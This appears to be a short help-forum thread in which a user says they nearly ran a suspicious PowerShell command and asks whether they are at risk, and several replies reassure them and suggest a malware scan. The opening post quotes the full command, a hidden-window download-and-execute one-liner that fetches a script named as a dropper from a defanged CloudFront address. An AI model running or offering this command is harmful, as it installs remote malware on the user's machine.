I came really close to running a suspicious PowerShell command on my laptop, and it's left me a bit anxious. The command was something like this: `powershell -w Minimized -c "IEX (New-Object Net.WebClient).DownloadString('hxxps://dybeplbdbpw1e[.]cloudfront[.]net:443/CyberDropper/SecurityScan.ps1'); retry 9"`. I didn't actually execute it, but I'm worried about whether I need to do anything now or if there's a chance I'm already compromised. What should I do?
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Honestly, if you almost freaked out over it, that’s a good sign that you’re cautious! Just keep your antivirus updated and maybe look into a malware guide if you want to double-check that everything's still safe with your system.
It's a bit unsettling how many people consider running unknown scripts like this. You did well to stop before executing it! Trust your instincts next time; a vague command is usually a red flag.
Since you didn't run the command, you should be in the clear. But it's always good to be cautious. The URL points to a script called SecurityScan.ps1 hosted on CloudFront's CDN, which could have done something harmful if executed. If you're concerned, running a malware scan just to be safe wouldn't hurt!
Thanks! I guess I’ll do a quick scan just to be safe. Better to be cautious.